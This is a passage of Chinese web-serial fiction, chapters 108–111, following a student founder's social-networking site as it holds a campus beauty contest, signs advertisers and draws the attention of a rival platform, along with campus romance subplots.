“要不……就这么着了吧。” 楚雄说完后跟陈让拱了拱手，竟就这么带着土木老哥们离开。 陈总颇为诧异。 好像他在等楚雄拉坨大的，结果这家伙脸红耳赤憋了半响，却只放了个哑屁。 土木院的院花、高居女神榜第三的周诗雨，食堂吃完午饭后立马回了寝室，打开电脑登入众众网，刷新自己的专题。 很快失望。 专题中对于她的描述词依旧没有改，仍然是那句让她破大防的“有种朴素的美”。 她点开了楚雄的QQ。 前阵子腾讯刚推出了好友昵称功能，她给楚雄的备注，赫然是“舔狗一号”。 “楚雄，你不是说要去众众网总部给我讨公道么，为什么描述词还是没改，你到底去了没？” “诗雨妹妹，我去了啊，带着十几个哥们儿去的，还见到了众众网老板，真是个大一学弟，长得还挺帅，了不得，真心了不得——” “楚雄，你先打住，我对众众网老板可没兴趣，我就问一句，我的专题什么时候能改？” “改什么？” “有种朴素的美！！！” “诗雨妹妹……” “说——” “我觉得……朴素就挺好的啊，何况还有个美呢。” “……” 【有彦祖在说为什么每天只更一章，作者君一章基本都六千字好吧】 第108章 受不了小老头？ 第一百零八章 受不了小老头？ “朴素就挺好，何况还有个美！” 看着“舔狗一号”发的这句话，“周女神”直接气疯。 很快楚雄又给她发了条消息。 “周学妹，不聊了，我要去洗澡。” “喵喵喵？” 周诗雨就很der。 此话好生眼熟。 等等—— 这不是以前聊天时，她经常给楚雄发的么。 所以这是倒反天罡了？ 她劈里啪啦敲了百来个字，全是骂楚雄的，却没有点发送键。 因为她发现，对面的楚雄，不等她回复，直接就下线了，头像变成了灰色。 既视感又来了——她以前也是这么做的。 所以这是又倒反天罡了？ 同时她还注意到楚雄改了QQ签名。 “你如明月皎皎，照耀我的余生。” 这是从前的。 虽然楚雄没有挑明，但是周诗雨很清楚，这句话是写给她的。 “我如一粒蜉蝣，今日得见青天！” 这是现在的。 周诗雨重重皱眉。 楚雄什么意思？ 难道不打算舔她了？ 还有—— 刚才这家伙去众众网总部，到底看到了什么人，才会发出“如见青天”的感叹？ 时光如水，日月似梭。 不知不觉，又是好几天过去。 时间线来到了十月份尾声，蜀州大学校园女神大赛，也进入了最后收尾阶段。 2009年10月30号，星期五。 下午上完课后，陈让来到“光明顶”，召集十来个骨干成员，开了个小会。 会议内容—— 按照既定赛程，校园女神大赛今天就应该结束线上投票。 明天周六，黄历上写着诸事皆宜、百无禁忌。 于是重活一世后变得特别迷信的陈总，决定趁热打铁，明天就举办女神大赛颁奖仪式。 会议开始后，李云飞提了个建议。 “老板，大赛现在正是最火爆的时候啊，这几天咱们网站每天都有上千新用户，引流效果这么爆炸，咱们要不再把大赛延长一周？” 这番话得到了许多人附和——包括楚云龙和戴杰。 陈让有多短暂的心动，不过仔细沉吟后还是给否了。 面对疑惑的众员工，陈总掰着手指给出理由。 “所谓一鼓作气、再而衰、三而竭，时间拖得太长，用户们的热情，绝对难以维持，还不如在最高-峰时收尾，以追求最大留存比……” “再者说，咱们这个校园女神大赛，又不是只在蜀州大学办，其他高校的用户——譬如隔壁的电子科大——早就在嗷嗷闹意见了，让咱们也到他们学校办。” “经济学里有个原理很出名，叫‘边际递减’，蜀大扯破天也就五六万人，大赛进行到这个阶段，能吸纳的用户早被吸得差不多。” “诸位，也就是说我们是时候走出舒适圈，去外校打江山了！” 这番话有理有据，得到了所有人认同。 李云飞接着开口： “老板，奖项跟奖品呢，如何设置？” “夏灵珊跟赵兰蕤，票数非常接近啊，这几天都在互相追赶。” “头名上午可能是夏灵珊，下午就变成赵兰蕤了，咱们该选谁当校园女神？” 陈让摆了摆手，说想听听大家伙的意见。 众人纷纷发表看法。 有说选夏灵珊的——毕竟夏同学颜值更高。 也有说选赵兰蕤的——赵大美女身材更好啊，维密级别的，聚光灯下也不知道会有多出彩。 讨论一阵后发展成了争吵。 陈总看着这一幕，不由按了按眉心。 夏灵珊和赵兰蕤，综合来看，的确五五开，谁也不能压谁。 也就是说，甭管众众网选谁当校园女神都无法服众，会得罪另外一大批用户。 于是陈总有了决定。 “都甭吵了，明天的颁奖仪式，咱们开个双黄蛋吧。” “双黄蛋？” “老板，啥意思？” 大多数人都满脸疑惑。 还是李云飞这小子反应够快。 “老板，你是说，咱们选两个校园女神？” “缤果，”陈让打了个响指，“阿飞，还是你小子聪明，一点就透。” 李云飞却是皱眉：“老板，哪有比赛选两个第一名的，如此一来，两边粉丝不还是会继续吵？” 陈总翻白眼：“好吧，我收回方才的话，你小子属于是有点脑子，但是不多。” 李云飞：“……” 戴杰接过话茬儿：“阿飞，老板损你是有道理的，吵怎么了，巴不得他们继续吵啊，不吵哪儿来的话题度和留存率？” 众人也就懂了。 脏，老板是真他妈的脏。 大赛结束了都要继续吊着两边粉丝，给网站增加话题和热度。 李云飞摸了摸后脑勺：“老板，那咱们这双黄蛋，是不是应该搞点区分度，总不能笼统都叫校园女神吧？” 陈让表情变得揶揄：“阿飞，我发现你小子就不能夸，这不损你两句，聪明的智商立马又占领高地了，你这个提议好啊，连我都没想到这块……” 李云飞：“……” 所以老板现在是在夸他还是在损他？ 妈妈，好难，我真的分不清！ “这么着吧，”陈总思考了一会儿，“咱们给夏灵珊的奖杯，上面就刻‘白月光’，符合她清冷自矜的气质，赵兰蕤嘛，就刻‘红玫瑰’，契合她大方热情、敢爱敢恨的性格……” 李云飞立马比起大拇指：“白月光和红玫瑰……老板，取名这一块我也是服你的！” 楚云龙表情变得很懊恼。 靠！ 舔老板这条赛道，跟自己发小比，他真的弗如远甚！ 其他人这才反应过来，也跟着吹起某人的彩虹屁。 不全是阿谀奉承，多少带着真心实意——甭管骚东西还是脏东西，总之咱们老板真有东西！ 李云飞这小子确实话多，会议都结束了，他又问了陈让一嘴儿。 “老板，问你个私人问题，你可以不回答的——如果咱们老板娘也参赛，你会给她安个什么名头？” 所有人都看向陈总——显然大家都想知道答案。 “宝藏。” 陈让没有丝毫犹豫。 沉吟两秒后又加了个批注。 “她的出现，让光有了具体形状，心动有了真正定义。” “昂！” 众人都鼓起了掌。 虽说因为某人金屋藏娇的那点小心思，某位学神少女没有参赛，但是在星环科技众员工心中，老板娘才是真正的蜀大女神！ 周诗雨、姜晓萌之流，搁老板娘面前就是类人猿。 夏灵珊和赵兰蕤的都很漂亮，放在娱乐圈也不会输给那几个当红小花。 但是跟老板娘比，这俩大美女却也就是“还行”。 老板够优秀了吧，放眼整个川A地区，同龄人中怕也无出其右。 但是让星环科技众员工客观评价的话，老板绝对是高攀了，也就配给老板娘提个鞋。 “你们继续忙，忙不死就往死里忙啊，争取早点让你们老板开上路虎，我出去转转……” 某人以开玩笑的口吻说了句真心话后，晃悠着出了“光明顶”。 陈总其实也不想摸鱼，但是他知道，他呆在“光明顶”，大家反而会拘谨，甚至影响工作效率——要不稍微正规点的公司，老板都需要独立办公室呢，这里面是有底层逻辑的。 于是出了“光明顶”后，陈总决定再去一趟总办处，看看能不能再薅一薅创业基地的羊毛，再给他一间活动教室作为办公室。 譬如101旁边的102就不错。 地方够大。 除了办公室，甚至还能隔出单独的会客室。 几分钟后陈总到了总办处，发现就只有一个学姐在。 此处请贾宝玉出个场，“这个学姐我见过的”。 “吴学姐好。” 吴婕妤笑了笑：“哟，这不是‘光明顶’的‘陈教主’么？” 年轻人的确爱整活。 确定众众网总部叫“光明顶”后，李云飞等人很快就做好门牌挂上。 于是总办处这边的几个学姐，私底下都叫某人“陈教主”。 “吴学姐，什么陈教主啊，如果你非要叫我的诨名，请叫我神雕大侠！” “额，光明顶不是明教总部么，跟杨过有啥关系？” “咳，具体原因没法跟你说……” “好吧，那么‘神雕大侠’屈尊至此，有何贵干？” “还真有个不情之请，我想再申请一间活动教室，拿来做办公室和会客室，我看‘光明顶’旁边的102就不错啊，地方够大。” “这个我可做不了主，要等主管创业基地的范教授回来，她签字盖章才行。” “那么范教授什么时候回来？” “下周吧，她旅游去了……” “范教授没有教学任务的么，一旅游就是一周？” “范教授早退休了，是学校舍不得放她，又高薪返聘回来的，校长都得供着，别说一周了，哪怕旅游一个月也没人敢说她的。” “一周也太久了，就不能先把102给我么？” “那怎么行，范教授很严厉的，她要知道了不得骂死我……” “吴学姐，行行好嘛，以后我每天给你带奶茶，然后再给你介绍个男朋友，话说我有个好大儿，姓黄名博文，不说玉树临风，那也一表人才，学姐考虑考虑？” “学弟，你扯远了，真的不行……” “假如啊，我是说假如，学姐你不小心把102的钥匙掉地上了，我又不小心捡到，这个应该不违反规定吧？” “……” 吴婕妤脸颊抽了抽。 她算是看出来了。 某位神雕大侠，今天拿不到钥匙绝不会罢休。 再三犹豫后，吴婕妤咬了咬唇，终究还是给了某人。 拿了钥匙后，某人嘿嘿一笑，跟吴婕妤拱手道谢。 临走前他多问了一嘴儿。 “学姐，范教授男的女的？” “一个刻板严肃的小老奶奶，你问这个干什么？” “等她老人家回来，我肯定要登门拜访啊，到时候总不能空着手吧，学姐，你看我送什么合适，除了小老头我都可以送的！” “去去去，范教授最受不了这个！” “受不了小老头？” “噗……受不了送礼！” 吴婕妤笑得花枝乱颤。 第109章 年轻人不讲武德 第一百零九章 年轻人不讲武德 “你要让我来呀，谁他妈不愿意来——” 拿到钥匙后，陈总非常开心，一路哼着小曲儿到了光明顶。 李云飞凑了过来：“老板，什么事儿这么开心？” 陈让直接把隔壁102活动教室的钥匙抛给他，然后吩咐。 “阿飞，找几个人把隔壁教室收拾一下，隔成两部分，一半拿来做会客室，一半做我的办公室……需要采购什么自己看着办，列好清单，核算出金额后，去找财务拿钱。” 李云飞乐呵呵接过：“老板，你居然把隔壁教室也薅过来了？还说你不是蜀大校长的私生子，露馅了吧？” 陈让翻了个白眼：“去去去，我连咱们聂老校长什么模样都还不知道呢，你说他老人家也是，我都这么优秀闪耀了，怎么还不过来让我接见一下？” 李云飞和众员工：“……” 话说老板你是不是有点飘，聂老校长堂堂副部级，跟副省长一个级别的，你要接见他老人家，当自个儿是比尔盖茨啊？ 脸颊抽搐一阵后，李云飞咕哝： “老板，我觉得咱们校长不接见你是有道理的，我看过他老人家的照片，脑袋上头发本来就不多，见了你不得被直接薅秃！” “……” 陈总佯装生气，要踹李云飞的屁股。 这厮多鸡贼，陈让脚还没抬起来，就赶紧风紧扯呼。 又十来分钟后，陈总看完了刚整理出来的呦茶财务报表。 摆摆手唤来市场部的头头戴杰。 “戴哥，把这份报表拿给学校周边的商户们看看，附近写字楼那些公司也都送一份儿，必须滋一滋这帮狗眼看人低的货，让他们知道，什么叫‘昨天你对我爱理不理，今天我让你高攀不起’！” “好咧——这事儿我喜欢干！” 洪胤乐呵呵接过。 正啪啪敲着代码的杨艺抬起头来：“老板，你报复心这么重的？” “呵呵，”陈总翻了个白眼，“你老板我不说虚怀若谷、那也是清气如兰！是那种睚眦必报的人？” 下一秒，众员工都抬起头来，异口同声。 “是！” “……” 员工们这次还真误会某人了，他让戴杰拿着“呦茶”的财务报表，去滋周边商户和公司，真正目的、是在给众众网打广告。 “呦茶”生意有多好，属于瞎眼可见。 但是具体销售数据如何，却没多少人有准确概念。 隔行如隔山。 也不可能有谁闲的没事儿干，整天蹲呦茶门口统计销量。 太阳落下又升起，时间线来到了第二天，零九年十月三十一日，星期六。 女神大赛颁奖仪式定在今天下午。 陈让本以为上午没什么事情，打算睡个懒觉，结果才七点半，就接到了李云飞打来的电话。 “老板，快来‘黑木崖’，出大事了！” “额——任我行带着向问天和令狐冲杀过来了？” 陈总是被吵醒的，脑袋迷迷糊糊。 听到“黑木崖”，下意识就蹦出来这么一句话。 “噗，老板，‘黑木崖’是你的办公室，昨天你不是吩咐我布置么，我带着哥几个连夜就捣鼓好了，至于为什么叫‘黑木崖’，老板你不觉得跟‘光明顶’很搭？” “滚，我怀疑你小子在内涵我是东方不败……” “老板，东方不败不牛逼吗，人家武功天下第一！” “他木有小-鸡-鸡！” “区区一两寸的事，何必那么介意……” “滚，叫什么也不能叫‘黑木崖’，赶紧换个名儿……出什么事了，这么一大早就给我打电话，你小子要不给个合理的解释，这个月工资扣一千！” “老板，真有事儿，还是大好事儿，来了好多商户啊，都是来找我们打广告的，我已经都安排到‘黑木崖’坐着喝茶了，就等着您来爆金币……” “靠，不早说，马上来！” 闻到了金钱的恶臭，陈总瞌睡尽去，飞速起床洗漱，直奔创业基地。 为什么今天一大早，就有好多商家来打广告？ 皮裤套棉裤，肯定有缘故。 昨天陈让不是吩咐戴杰拿着呦茶的财务报表，去滋学校周边商户么。 看到“呦茶”这阵子每天销售额都在一万五往上，最近三天更是破了两万，商户们都吓了老大一跳。 奶茶可是出了名的高利润，净利润甚至能到百分之五十。 也就是说，如果这个日销量能够维持下去，“呦茶”月利润会超过二十万！ 什么概念？ “呦茶”给校园女神大赛冠名，也就花了不到三十万。 个把月就能回本！ 当时“呦茶”给大赛冠名，商户们还觉得“呦茶”老板脑抽。 将近三十万啊，要卖多少杯奶茶才赚的回来？ 等着吧，“呦茶”肯定会把裤衩子赔掉！ 结果却被狠狠打脸。 众众网的流量增长之快，完全出乎意料。 “呦茶”给大赛冠名，宣传效果之好，更是刷新了他们的认知。 只能说，在零九年这个时间节点，的确没多少人搞得懂互联网经济。 被狠狠滋一脸后，大多数商户都坐不住了，这不今天一大早就齐刷刷涌向“光明顶”，要花钱打广告。 作为生意人，只要能让他们赚钱，哪怕陈总当面再滋他们一次，他们都能欣然接受。 赚钱嘛，不磕碜！ 陈让搞众众网前前后后砸了差不多五百万。 且不知耗费多少精力。 各种骚操作引流，搞女神大赛，开奶茶店自我炒作。 此时终于到了猎杀时刻。 KTV、网吧、步行街餐馆和火锅店，附近写字楼的公司…… 陈让从上午八点开始接待，一直到中午才算忙完。 他身体还算好的，却也有种被彻底掏空的感觉。 不过辛苦是有价值的。 整个上午，新招的财务妹子孙菲菲全程看着陈让忙碌，眼中都是小星星。 老板口才是真的好。 小嘴巴拉巴拉，仿佛机关枪，针对不同类型客户就有不同话术。 上午总共来了二十三家商户。 其中二十二家都被老板爆了金币。 孙菲菲毕竟财经专业，对数字十分敏-感。 简单心算后吓了老大一跳。 老板一个下午，居然谈下了一百多万的业务？ 这是开网站？ 分明在挖金矿！ 以至于在孙菲菲眼中，每一个走进“黑木崖”的客户，都成了一座座人形金矿。 唯一没有谈妥的客户、是泰来驾校的老板金泰来。 此人五短身材、肥头大耳，带着条半斤重的大金链子，身上还有纹身，社会气息相当浓郁，发家前绝对捞过社会、混过袍哥。 因为先前对“众众网”的轻视，金老板没能拿下校园女神大赛的冠名权。 眼瞅着呦茶日进斗金，他肠子都快悔青，有种自己的钱掉进别人口袋的憋屈感。 他来找陈让，是想让众众网再办个校园男神大赛，泰来驾校全程冠名赞助。 价格也出的高，整整五十万。 从这个报价就看得出来，金泰来很有诚意。 不过陈总毫不犹豫的选择了拒绝。 原因么—— 比赛可不是有钱就办。 女神大赛持续半个多月，网站用户们都已经产生疲惫感了，此时又搞个男神大赛，没多少用户会有兴趣的。 学校大概率也不会支持。 学生终究还是要以学习为主。 不可能光搁这儿选女神、选男神。 事实上陈总选择在大赛最火爆阶段结束大赛，也有这方面的考量。 “金老板，男神大赛就算了。” “为什么？” “没有意义啊——蜀州大学谁不知道，我乃‘天日之表、龙凤之姿’，有我在蜀大不可能有第二个男神，一个没有悬念的比赛，不会有任何吸引力。” “……” 金泰来开始脸颊抽搐。 数秒后他选择昧着良心吹一下某人。 “陈总您确实是蜀大男神不二人选，不过您可以选择不参赛啊，把机会让给其他同学。” 陈让还是摇头。 “金老板，真的没法弄，没有我的男神大赛，绝对毫无公信力！好比给三国武将搞武力值排名，开局就把吕布剔除了，排出来也是贻笑大方。” “……” 金泰来脸颊继续抽搐。 看明白了。 这小子就是在隐晦却坚定的拒绝。 多少还有几分报复“他狗眼看人低”的成分。 金老板倒也有几分傲气，没有再做纠缠，跟陈让客套两句后选择了离开。 却是“到底意难平”。 想想吧—— 如果当时泰来驾校能出二十万，拿下女神大赛冠名权。 那么大的宣传效应，得给他引来多少新学员？ 三百个？ 五百个？ 怕是一千个都不止！ 一个学员收费三千，那就是三百万！ 错过这么大一笔财富，金老板能舒坦？ 就在金泰来闷闷不乐时，他接到了一个电话。 “谁啊？” “金老板，看来您心情不怎么好啊，自我介绍一下，我叫李伯雍，人人网四川片区负责人，想跟金老板您聊聊合作……” “人人网？” 金泰来眼瞳骤然一亮。 “陈让那小子的竞争对手，找上门来了啊？” 金老板原本不怎么上网。 办公室配置极高的电脑，主要拿来砍传奇SF。 众众网火爆后，他研究了好一阵儿，才勉强弄懂了这是个什么类型的网站。 顺带也知道了“人人网”是“众众网”的最大竞品。 或者说“众众网”的初始模板，压根就是山寨的“人人网”。 从构架到页面，不说惟妙惟肖，那也一模一样。 当然随着后续不断迭代——到了现在的第三个版本，两个网站已经有了很大差异。 “众众网”汲取了“人人网”的优点，又改良了缺点，并且杂糅了许多新潮玩法。 虽说体量远不如“人人网”，趣味性和用户黏度却是完爆。 别的省份“众众网”还没多少用户。 蜀省这边却快要突破十万。 虽说“人人网”在蜀省拥有三百来万用户，两者看着差距挺大。 不过“众众网”出来才多久？ 考虑到此消彼长——“众众网”的用户好多都是从“人人网”抢来的！ “众众网”在蜀省超过“人人网”，并不是天方夜谭。 “千橡互动”的老板陈一舟，从王兴手中收购“校内网”后，改名为“人人网”，此时正准备大展宏图，两年内就打算在纽交所上市。 本来一切顺利，各大高校都有了许多用户，大有席卷全国之势。 却在蜀省这边碰到了“众众网”这个竞品——且还是靠山寨“人人网”起步。 陈一舟注意到“众众网”后，很快出离愤怒。 蜘蛛侠骑个马—— 山寨老子就罢了，还尼玛取名叫“众众”。 摆明要压老子一头？ 毕竟“众众”比“人人”，打架都多了四个人！ 很快陈一舟就拿到了陈让的相关资料，边看边骂骂咧咧。 “年轻人不讲武德，欺负我一个四十岁的老同-志！” 开会研究一阵后，陈一舟做了决定。 吩咐蜀省这边的负责人李伯雍，不择手段也要干掉“众众网”。 互联网赛道向来是赢家通吃。 “人人网”打算两年内就在纽交所上市。 这个关键节点，绝无可能允许“众众网”野蛮生长。 第110章 老板、我是在救你！ 第一百一十章 老板、我是在救你！ “合作？” 想明白“人人网”为什么找自己后，金老板立马端起姿态。 “李经理，不知道你们‘人人网’想怎么跟我合作，又能给我提供什么？” “金老板，咱们还是面谈吧。相信我，你绝对会满意的，‘众众网’能给您提供的我们‘人人网’也能办到，且一定更好，我们网站的流量，可是众众网的好几百倍！” “来我办公室，咱哥俩聊聊！” 金泰来立马心动。 讲道理，就“众众网”那点流量，办个“校园女神大赛”，宣传引流效果都那么好。 要“人人网”也在蜀大搞个类似比赛，由他独家赞助，不得直接起飞咯？ 陈总又没有开天眼，自然不知道，陈一舟已经在想办法干掉自己。 且已经派了心腹，联系了金泰来，正在进行PY交易。 不过即便知道，也只会嗤之以鼻。 他拒绝金泰来，可是经过深思熟虑的。 校园女神大赛办得很成功。 正因为很成功，他才选择在巅峰期结束大赛。 毕竟蜀大学生就这么多，五六万人的体量。 喜欢玩网站的用户，差不多都被吸引。 再搞个类似的比赛，完全是浪费资源，效果也注定不会太好，那又何必？ 陈让早就制定好了下一步战略。 把目标放在电子科大、蓉城理工、西南石油……这些个学生人数不比蜀大少的高校。 那里才是全新的市场，放眼望去都是蓝海。 至于陈让为什么不跟金泰来说这个——泰来驾校就在川大附近，金泰来又不傻，怎么可能答应在别的高校举办比赛？ 基于以上原因——他跟金泰来就不可能达成共识。 今天下午，蜀州大学第一届校园女神大赛，将会举办颁奖仪式。 地点在望江校区的二操场。 陈总厚着脸皮去找了王老院长，获得了二操场两小时的免费使用权，成功白嫖了场地。 某人做生意向来是这个风格。 骑着共享单车去酒吧——该省省，该花花。 场地可以白嫖，奖品就不可能，得花真金白银。 昨天就让戴杰去办了。 找厂家定制了两款金色奖杯。 造型大体一致。 上面有对天使翅膀，收拢交叠状。 “女神”这个概念没办法量化，只能写意表达。 给夏灵珊的奖杯，翅膀纯白，寓意“白月光”。 给赵兰蕤的，翅膀则是酒红色，代表“红玫瑰”。 奖品是两台苹果笔记本电脑，一台一万多。 第一届女神大赛，为了宣传效果，奖品不可能吝啬。 如此到其他高校举办时，才能激发那些个高校用户们的热情。 值得一提—— 颁奖仪式不止是给两个大赛冠军颁奖，而是给前十名。 其他八个也都定制了奖杯，不过没搞什么主题，而是直接以学院命名。 譬如土木工程学院的周诗雨，奖杯上面就刻“土木院女神”，机械工程学院的姜晓萌，则是“机电院女神”…… 经济学院这边，米莱靠着“先天骚-货圣体”的加持，成功入围了前十，拿到了一个“经济学院女神”的奖杯。 不过这个奖杯肯定没说服力。 毕竟经济学院这边，基本都知道被某人金屋藏娇的林静姝，才是真正的经院之花。 哪怕把林静姝排除掉——米莱也不是经济学院最好看的。 譬如转专业进来的白鹭同学，明显就比米莱更漂亮。 不过因为转专业的缘故，她压根没出现在候选者名单，这才让米莱捡了漏。 各大学院的女神们，“众众网”这边也都会颁发奖品。 当然不可能是苹果电脑，而是最新款的MP3…… 这里也看得出来陈总有多鸡贼。 他刻意模糊了排名。 等于说大赛结束后，夏灵珊和赵兰蕤没分出高下，其他八个女神也没有比出结果。 各自的粉丝拥趸，该吵还是吵，该争还是争。 这就是陈让想要的效果——吵得好，争得秒，争吵越激烈，用户黏度就越高。 下午一点半，两辆做了私人改装、卸掉后排座位、专门用来拉货的面包车，开进了蜀大望江校区二操场。 陈让早就在了，看着这两辆面包车，就很诧异。 “刘哥，你们公司怎么用面包车拉货啊，交警不管？” “陈总，条件有限的嘛，啷个不管，就因为这个我还上过电视节目，婆娘把我笑惨了……” “刘哥，你说的不会是《谭谈交通》吧？” “就是这档节目，谭警官嘴巴毒得很，把我脑壳洗惨。” “哈哈——” 陈总忍俊不禁。 心想十年后怕不是能在B站鬼畜区看到老哥您的英姿…… 每个城市都有自己的特质，《谭谈交通》就非常契合蓉城。 这是一档普及交通规则的节目，谭警官的镜头，却在无意中记录了这座城市十多年的发展和变迁。 从“二仙桥大爷”到“爱唱歌的气球哥”，从“腰马合一”到“人生目标吃牢饭、读书只为妹妹多”，再到顶级奢侈品“贝斯特橱柜”…… 《谭谈交通》之后，真的再无一档节目，能如此真实、不带滤镜的记录底层人民的生活…… 也难怪节目停播多年后，还能在B站翻红，被誉为华语综艺的天花板。 陈让刚到操场没多久，林静姝就来找他。 很快这对“好朋友”，便肩并肩坐在人工草坪上，看着工作人员搭建会场。 “我想吃石榴……” 林大美人提着一袋水果过来的。 里面有几颗拳头大的红石榴。 陈让拿出来一颗，掰开后问她要哪一半。 林大美人甜甜一笑：“富贵同学，我想要一粒一粒的那种。” 她真的很会笑，露出两排齐整贝齿，脸颊浮出浅浅梨涡，甜度直接拉满。 显然这是美人计。 毫无防备的陈总，直接中了招。 只得耐着性子、一粒一粒给她抠。 每抠出几颗，林静姝就迫不及待探着脑袋，檀口微张，等着“好朋友”喂食。 陈让把石榴颗粒塞进她红润嘴巴后，她那对纵使无情也动人的桃花眼，便会水色荡漾，仿佛两朵结满蜂蜜的月亮。 似乎只要能跟陈让待在一起，做什么她都会很满足。 不过这一对“好朋友”并没有腻歪多久。 星环科技的第五个正式员工——财务孙菲菲拿着一叠资料走了过来。 她没有先跟陈让打招呼，而是看向林静姝。 “老板娘，你今天真漂亮！” “昂——” 林静姝瞬间愉悦。 却不是因为孙菲菲夸她漂亮，而是因为那句“老板娘”。 学神少女挑了颗大石榴，塞到孙菲菲手中。 陈让翻了个白眼。 “菲菲，你怎么光夸你们老板娘漂亮，你老板我难道不帅？” “老板，你还是帅的，就是帅的不明显。” “……” 陈让从她手中拿过资料翻看。 “这是你给我挑的秘书候选人简历吧。” 随着“众众网”业务越来越多，陈让需要处理的事也变得繁杂和琐碎。 严重消耗精力不说，还影响工作效率。 找个秘书帮他整理资料、处理琐事，已是刚需。 昨天开会时，他把这事儿交给了孙菲菲，让她帮忙物色。 要求倒也不多，踏实能干就行。 求职简历有十多张，大部分都女孩子，除了姓名和专业，以及一寸免冠照外，还有一小段自我介绍，有什么特长之类。 “对啊，老板，我挑了好久的，知道我是在给您选秘书后，我们学院那些女孩子都要疯掉了，就一个上午，我居然收到了上百张简历，老板您手中这十几张，便是其中最漂亮最优秀的！” “啧啧，菲菲，你办事，我放心！” 两人却都没注意到，边上林静姝已经微微皱眉。 恰好有颗足球滚来。 几个正在踢球的男生，对着林静姝嬉皮笑脸。 “美女，帮个忙，把球给我们踢过来！” “美女，有男朋友没，要不要加个QQ，我教你踢球！” 陈让瞬间眸色一冷，就想怼这几个夯货。 中午几个菜啊，喝成这样，敢撩富贵大帝的“好朋友”？ 某位学神少女已经站了起来，小腿抬起就是卯足劲的一脚。 考虑到“林教头”的身体素质——能一拳将体育生爆肝，脚力自然也是极好。 “嘭！” 足球划过绚烂弧线，宛若飞火流星。 竟是直接命中一个家伙的脑袋。 此人轰然倒地。 林静姝不由紧张。 被这几个家伙口花花，她是很气愤。 却也没想砸人，只是想踢远些。 此人挨了这下纯属点背。 也可能是太猥琐，老天都看不顺眼。 这家伙迷糊一阵后爬了起来，自是怒不可遏，立马带着几个同伴，气势汹汹杀将过来。 “哟呵，你们最好别怂。” 陈总起身、跟舞台上忙活的工人们招了招手。 “刘哥，歇会儿，过来吃水果。” “好咧。” 很快十来个工人凑过来了。 几个学生娃娃瞬间没了气势。 立马回缩，然后抱着足球，灰溜溜离了操场。 不然呢，他们还没脑残到、跟十来个铁塔般的“工人爷爷”比力量。 孙菲菲嘴巴张得很大——还在震惊老板娘刚才那一脚。 “老板，我忽然想起来，我选人有些不严谨……” 边说边把那叠简历拿了回来，挑挑选选后只剩几张。 陈让拿过来一看，发现妹子都没了，剩下都大老爷们。 表情变得很der。 谁选秘书选男的？ 又不是体制内。 倒也没什么歪心思。 就是觉着女秘书更细心，用起来更趁手。 孙菲菲则在想：“老板，我是在救你！” 讲道理，老板娘刚才那一脚要踢的不是球，而是老板你，恐怕会直接飘字符！ “老板，我先走了？” “去吧，对了——待会儿的颁奖仪式，我就不出面了，你让李云飞来主持。” 倒不是社恐，“e人”的世界没这两个字，而是不想见夏灵珊。 陈总现在对这婆娘就是敬而远之。 惹不起总躲得起。 等舞台搭建好，验收付款后，陈总拉着某位吃醋状态的学神少女，踩蚂蚁去也。 第111章 终究成了败犬 第一百一十一章 终究成了败犬 陈让走后不久，伴随节奏明快的BGM，颁奖仪式正式开始。 首先上台的是夏灵珊。 夏同学对价值一万多的苹果电脑毫无兴致，倒是非常喜欢那座白月光造型的女神奖杯。 她觉得陈让把给她的奖杯命名为“白月光”，说明这家伙心里始终还是有她。 只是自己以前太过分，导致了现在陈让对她的疏远。 坚信只要自己真心改变，小陈终究会是自己的男朋友。 赵兰蕤这头骚狐狸绝对争不过她！ 整个颁奖仪式夏同学都很开心。 赵兰蕤却是意兴阑珊。 她对女神之类的称谓毫无兴趣。 来参加这个颁奖仪式，纯粹是为了帮陈让撑场面——她知道陈让办这个比赛付出了多少。 领了奖杯和奖品就打算离开，夏灵珊却将她拦住。 “赵兰蕤，我真的想不明白，蜀大优秀的男孩子那么多，你为什么非要跟我争小陈？如果没有你横插一脚，我早就跟小陈和好了！” 赵兰蕤就很烦，白了她一眼。 “夏灵珊，到现在你还觉得陈让不搭理你是因为我？” “难道不是？” “呵呵，我倒希望是我。” “什么意思？如果不是因为你，小陈又怎么会不理我？明明就是因为你这头骚狐狸，一直在勾引他！” “夏灵珊，你真的……算了，我懒得跟你解释，也没有这个义务。” 赵兰蕤说完就走。 夏灵珊就很懵。 看得出来赵兰蕤没有说谎。 难道说把小陈从她身边夺走的，并不是赵兰蕤，而是另有其人？ 会是谁？ 又还能是谁？ 明明她跟赵兰蕤已是蜀大最漂亮的女孩子，并列当选蜀州大学校园女神。 又一个小时后，夏灵珊坐着校车，回了江安校区，把奖杯和奖品都拿到了宿舍。 此时宿舍其他姐妹都在外面玩，偌大宿舍就只有她一个人。 随着一声闷雷，外面开始下小雨。 雨声淅沥淅沥，天色也十分阴沉，叫人心情沉郁。 夏灵珊翻出手机，点开C字母，看着那个熟悉的号码，按下了拨号键。 “您所呼叫的用户不在服务区”，陈让依旧把她关在黑名单。 接着又打开QQ，尝试着给陈让发了条消息，回应她的依旧是鲜红感叹号。 倒是收到了许多消息。 “学妹，听说你拿了女神大赛冠军，晚上出去庆祝一下？” “夏女神，我买了两张电影，要不要一起去看？” “白月光女神，能不能谈个恋爱？” “夏女神，有没有时间约个饭，我知道一家西餐厅特别好吃！” 要放以前，收到这些消息，夏灵珊虽说不会回复，心里却会美滋滋。 她从小就喜欢这种众星捧月的感觉。 但是此刻，脑袋中回想着赵兰蕤的话，再加上潜意识中越来越不好的预感…… 她实在高兴不起来，别说得意。 有的只是失落，只是茫然，只是惶恐。 心里空荡荡的，像是缺了好大一块组织。 把那些给她发消息的男生都删掉后，她退出QQ，想了想后给黄博文打了电话。 “大黄，你是不是有事瞒着我，关于小陈的！” “没有啊……” “大黄，你就告诉我吧，起码让我死个明白。我真的很想知道，那个把小陈从我身边抢走的女孩是谁，我又是怎么输给她的……” “灵珊，小陈什么性格你还不知道，你不是输给了谁……哎，我也不知道怎么跟你说……你别逼我了，小陈已经警告过我好几次，不准我跟你泄露他的事。” 黄博文这次坚守住了，没有跟夏灵珊吐露林静姝的存在。 夏灵珊却还是不肯放弃。 跟黄博文结束通话后，鬼使神差的、她打开了众众网，开始浏览王子聪发的系列帖——《王少爷的日常》。 夏灵珊早就知道，这个系列帖中大部分事迹，都是王子聪从陈让身上剽窃的。 “军训第一天，隔壁经济系天仙级美少女对我嘤嘤嘤，兄弟们，虽然我水泥封心，断情绝爱，但这个我是真喜欢……” “带积家表的学长跟我装逼？呵呵哒，不好意思，虽然少爷我才大一，却已经是校学生会文体部常务副部长，我家还有劳斯莱斯……” 王子聪的帖子写得非常浮夸，其中有许多一眼假的东西。 